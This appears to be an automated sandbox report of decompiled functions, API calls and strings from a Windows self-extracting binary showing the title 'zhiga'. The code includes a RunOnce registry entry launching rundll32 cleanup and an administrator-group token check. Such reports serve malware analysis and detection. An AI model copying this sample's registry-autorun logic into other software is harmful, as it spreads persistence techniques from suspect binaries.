0x010c42e4
0x00000000
0x010c42ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 010C4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 010C424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 010C4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 010C427A
GetTempPathA.KERNEL32(00000104,010C88C0,?,00000001), ref: 010C429F
CharPrevA.USER32(010C88C0,02191181,?,00000001), ref: 010C42C2
CharPrevA.USER32(010C88C0,00000000,?,00000001), ref: 010C42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 010C4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 010C43A5

Strings

SHELL32.DLL, xrefs: 010C422F
SHBrowseForFolder, xrefs: 010C4246
SHGetPathFromIDList, xrefs: 010C4274

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 377cbb253d8c0c442b48c58e1bf01aada8ea1b1b67df50a5c11cc9f4d6df9d39
Instruction ID: 59c3760a46d83dae314afec3ffdfd6282110035ccd7605934ccde757a4383d19
Opcode Fuzzy Hash: 377cbb253d8c0c442b48c58e1bf01aada8ea1b1b67df50a5c11cc9f4d6df9d39
Instruction Fuzzy Hash: 4A411774A00214EFE7219F79E8989AE7FB5FB84B44F04819EE9C1E7245D77A8804CF64

Uniqueness

Uniqueness Score: -1.00%

Function 010C44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010C44B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x10c8a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x10c9a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E010C1680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E010C171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E010C171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E010C681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E010C67C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "zhiga", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E010C681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E010C67C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "zhiga", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E010C6CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x010c44b9
0x010c44c4
0x010c44cb
0x010c44d8
0x010c44e4
0x010c44eb
0x010c44ee
0x010c44ef
0x010c44ef
0x010c44f1
0x010c44f7
0x010c44f8
0x010c467b
0x010c44fe
0x010c4509
0x010c4518
0x010c4525
0x010c4562
0x010c4568
0x010c4568
0x010c456b
0x010c456b
0x010c456d
0x010c456e
0x010c4572
0x010c4578
0x010c457c
0x010c45cb
0x010c4607
0x010c4607
0x010c460d
0x010c4613
0x010c4617
0x00000000
0x010c461d
0x010c4623
0x010c4626
0x010c4628
0x00000000
0x010c4628
0x010c45cd
0x010c45cd
0x010c45cf
0x010c45cf
0x010c45d2
0x010c45d2
0x010c45d4
0x010c45d5
0x010c45db
0x010c45de
0x010c45e3
0x010c45e9
0x010c45ed
0x00000000
0x010c45f3
0x010c45fd
0x00000000
0x010c4602
0x010c45ed
0x010c457e
0x010c457e
0x010c4580
0x010c4580
0x010c4583
0x010c4583
0x010c4585
0x010c4586
0x010c458a
0x010c458c
0x010c458f
0x010c458f
0x010c4591
0x010c4592
0x010c459b
0x010c459e
0x010c45a3
0x010c45a9
0x010c45ad
0x00000000
0x010c45af
0x010c45af
0x010c45bf
0x010c462d
0x010c4630
0x010c463d
0x010c464e
0x010c464e
0x010c463f
0x010c4640
0x010c4647
0x010c464c
0x00000000
0x00000000
0x010c464c
0x010c4666
0x010c466d
0x010c466f
0x010c4675
0x010c4675
0x010c45ad
0x010c4527
0x010c452e
0x010c453f
0x010c453f
0x010c4530
0x010c4531
0x010c4538
0x010c453d
0x00000000
0x00000000
0x010c453d
0x010c4554
0x010c455a
0x010c455a
0x010c455a
0x010c4525
0x010c468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 010C45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 010C45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 010C460D
MessageBeep.USER32(00000000), ref: 010C4630
MessageBoxA.USER32(?,00000000,zhiga,00000000), ref: 010C4666
LocalFree.KERNEL32(00000000), ref: 010C466F

Part of subcall function 010C681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 010C686E
Part of subcall function 010C681F: GetSystemMetrics.USER32(0000004A), ref: 010C68A7
Part of subcall function 010C681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 010C68CC
Part of subcall function 010C681F: RegQueryValueExA.ADVAPI32(?,010C1140,00000000,?,?,0000000C), ref: 010C68F4
Part of subcall function 010C681F: RegCloseKey.ADVAPI32(?), ref: 010C6902

Strings

LoadString() Error. Could not load string resource., xrefs: 010C44E4
zhiga, xrefs: 010C4545, 010C465A

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$zhiga
API String ID: 3244514340-1120439489
Opcode ID: 0edcb03664e2dbd66fe121bb0c7ccd59ca06e9c56e9c9d7248917543a0c6e117
Instruction ID: 71c8b1bc04aee1f28b784acdf60237b9c138d4d93e2826e59d42631bfe298c7b
Opcode Fuzzy Hash: 0edcb03664e2dbd66fe121bb0c7ccd59ca06e9c56e9c9d7248917543a0c6e117
Instruction Fuzzy Hash: D951D371A00219AFDB219F28CC58BAE7BA9FF85B04F104198ED89E7246DB36D9058F50

Uniqueness

Uniqueness Score: -1.00%

Function 010C2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010C2773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E010C1781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E010C658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E010C658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x10c1140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E010C1680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E010C6CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x010c2773
0x010c277e
0x010c2785
0x010c278a
0x010c278d
0x010c2790
0x010c2792
0x010c2798
0x010c279d
0x010c28b2
0x00000000
0x010c27a3
0x010c27a3
0x010c27af
0x010c27c2
0x010c27c8
0x010c27cd
0x010c27d5
0x010c28b7
0x010c28b9
0x00000000
0x010c27db
0x010c27dd
0x010c28aa
0x00000000
0x010c27e3
0x010c27e3
0x010c27ec
0x010c27f8
0x010c2803
0x010c280b
0x010c2831
0x010c28c3
0x010c28c9
0x010c28cd
0x010c2837
0x010c285a
0x010c285c
0x010c2865
0x010c2892
0x010c2895
0x00000000
0x00000000
0x010c2867
0x010c2878
0x010c288c
0x00000000
0x010c287a
0x010c2880
0x010c2885
0x010c2897
0x010c2899
0x010c2899
0x010c2878
0x010c2865
0x010c28a0
0x010c28bf
0x010c28c1
0x00000000
0x00000000
0x010c28c1
0x010c2831
0x010c27dd
0x010c27d5
0x010c28e5

APIs

CharUpperA.USER32(4B13CF70,00000000,00000000,00000000), ref: 010C27A8
CharNextA.USER32(0000054D), ref: 010C27B5
CharNextA.USER32(00000000), ref: 010C27BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C2829
RegQueryValueExA.ADVAPI32(?,010C1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C2852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C2870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C28A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 010C28AA
GetSystemDirectoryA.KERNEL32 ref: 010C28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 010C27E4

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 57a6b5c14c2eee8f615ce15fa0699c2c21df259608e3b7842aeb78b5223d6010
Instruction ID: f76921dfe7c6df3c84677afff6be48958066c27255deff9bf92a2d4f21fa31b9
Opcode Fuzzy Hash: 57a6b5c14c2eee8f615ce15fa0699c2c21df259608e3b7842aeb78b5223d6010
Instruction Fuzzy Hash: 9A41AE70A0112CAFDB259B649C84AFE7BBDEB55B40F1040EDFAC9D2105DB758E858FA0

Uniqueness

Uniqueness Score: -1.00%

Function 010C2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E010C2267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x10c8004; // 0x4b13cf70
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x10c8530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E010C658A( &_v268, 0x104, 0x10c1140);
							}
							_push("C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\");
							E010C171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E010C6CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x010c2272
0x010c2277
0x010c2279
0x010c2283
0x010c2289
0x010c22ab
0x010c22b1
0x010c22c4
0x010c22e0
0x010c22e6
0x010c22f5
0x010c230d
0x010c231c
0x010c231c
0x010c2321
0x010c233a
0x010c2342
0x010c2348
0x010c234b
0x010c234c
0x010c234c
0x010c234e
0x010c234f
0x010c236e
0x010c236e
0x010c237a
0x010c2380
0x010c2380
0x010c2381
0x010c2381
0x010c238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 010C22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 010C22D8
memset.MSVCRT ref: 010C22F5
GetSystemDirectoryA.KERNEL32 ref: 010C2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 010C236E
RegCloseKey.ADVAPI32(?), ref: 010C237A

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 010C232D
wextract_cleanup0, xrefs: 010C227C, 010C22CD, 010C2363
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C2321
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010C2299

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2874043782
Opcode ID: 6d4a2529baab796585a5a9d565745935f2d5fe4f5411ec825ac9d245abfdebd9
Instruction ID: c43fe64056461e5c3bf64ea3bdf6d6d7c4d6db2eee7ad56877f91e6c8c026349
Opcode Fuzzy Hash: 6d4a2529baab796585a5a9d565745935f2d5fe4f5411ec825ac9d245abfdebd9
Instruction Fuzzy Hash: 6031C571A00218ABDB719B55DC49FEE7B7CEB54B40F1001EEB98DAA001EA75AB84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010C3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E010C3100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x10c8590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x10c8590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E010C43D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x10c8d4c);
					SetWindowTextA(_t33, "zhiga");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x10c88b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E010C30C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x010c3108
0x010c310b
0x010c31b7
0x010c31ca
0x010c31d0
0x010c31d0
0x010c31da
0x00000000
0x010c31da
0x010c3111
0x010c3114
0x010c3136
0x010c3136
0x010c3138
0x010c313b
0x010c3141
0x00000000
0x010c3143
0x010c3116
0x010c311b
0x010c314b
0x010c3151
0x010c3158
0x010c316a
0x010c3176
0x010c317d
0x010c318b
0x010c319e
0x010c31a3
0x00000000
0x010c31ad
0x010c3120
0x00000000
0x00000000
0x010c312a
0x010c3134
0x00000000
0x00000000
0x00000000
0x010c3134
0x010c312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 010C313B
GetDesktopWindow.USER32 ref: 010C314B
SetDlgItemTextA.USER32(?,00000834), ref: 010C316A
SetWindowTextA.USER32(?,zhiga), ref: 010C3176
SetForegroundWindow.USER32(?), ref: 010C317D
GetDlgItem.USER32(?,00000834), ref: 010C3185
GetWindowLongA.USER32(00000000,000000FC), ref: 010C3190
SetWindowLongA.USER32(00000000,000000FC,010C30C0), ref: 010C31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 010C31CA

Strings

zhiga, xrefs: 010C3170

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: zhiga
API String ID: 3785188418-3705506974
Opcode ID: 6972b48765a7b58802c8981fe88d62e7d91582a4952b4264ea87cd7d3fcb292d
Instruction ID: 9fdf0c49d9d11bcf25b26fb7031cff125070acd373f29a603c8b1ffe570b3b3c
Opcode Fuzzy Hash: 6972b48765a7b58802c8981fe88d62e7d91582a4952b4264ea87cd7d3fcb292d
Instruction Fuzzy Hash: FA11D531214125FFDB225B28AC0CB9E3AB4FBC6B20F008219FDD19A184E77A8541CF44

Uniqueness

Uniqueness Score: -1.00%

Function 010C468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E010C468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x010c4699
0x010c469b
0x010c46a9
0x010c46af
0x010c46b4
0x010c46bc
0x010c46f9
0x00000000
0x010c46f9
0x010c46d9
0x010c46dd
0x00000000
0x00000000
0x010c46e5
0x010c46ef
0x00000000
0x010c46f5
0x010c46ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
memcpy_s.MSVCRT ref: 010C46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

Strings

TITLE, xrefs: 010C469D, 010C46C0
zhiga, xrefs: 010C46E4

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$zhiga
API String ID: 3370778649-3314309
Opcode ID: 8b41ef66d96bb68a1662b0f0601a75b7e2db829fd1f60649658a647760f5d889
Instruction ID: d7995348ab2d986230da7601fea9ff7f838ab5459e8119677a7bdd16535adfc2
Opcode Fuzzy Hash: 8b41ef66d96bb68a1662b0f0601a75b7e2db829fd1f60649658a647760f5d889
Instruction Fuzzy Hash: 07014F36344214BFF36017A96C4DF6B7E68EBC9FA1F140018FBCAD7148D96688458BA6

Uniqueness

Uniqueness Score: -1.00%

Function 010C17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E010C17EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x10ca288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E010C6CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x010c17f6
0x010c17fd
0x010c1805
0x010c180b
0x010c180d
0x010c1815
0x010c1818
0x010c1820
0x010c1824
0x010c182c
0x010c1832
0x010c1837
0x010c1851
0x010c1854
0x010c185d
0x010c1862
0x010c186c
0x010c1872
0x010c1877
0x010c187e
0x010c187e
0x010c1883
0x010c1883
0x010c185d
0x010c188a
0x010c188a
0x010c18a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,010C18DD), ref: 010C181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 010C182C
AllocateAndInitializeSid.ADVAPI32(010C18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,010C18DD), ref: 010C1855
FreeSid.ADVAPI32(?,?,?,?,010C18DD), ref: 010C1883
FreeLibrary.KERNEL32(00000000,?,?,?,010C18DD), ref: 010C188A

Strings

CheckTokenMembership, xrefs: 010C1826
advapi32.dll, xrefs: 010C1810

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
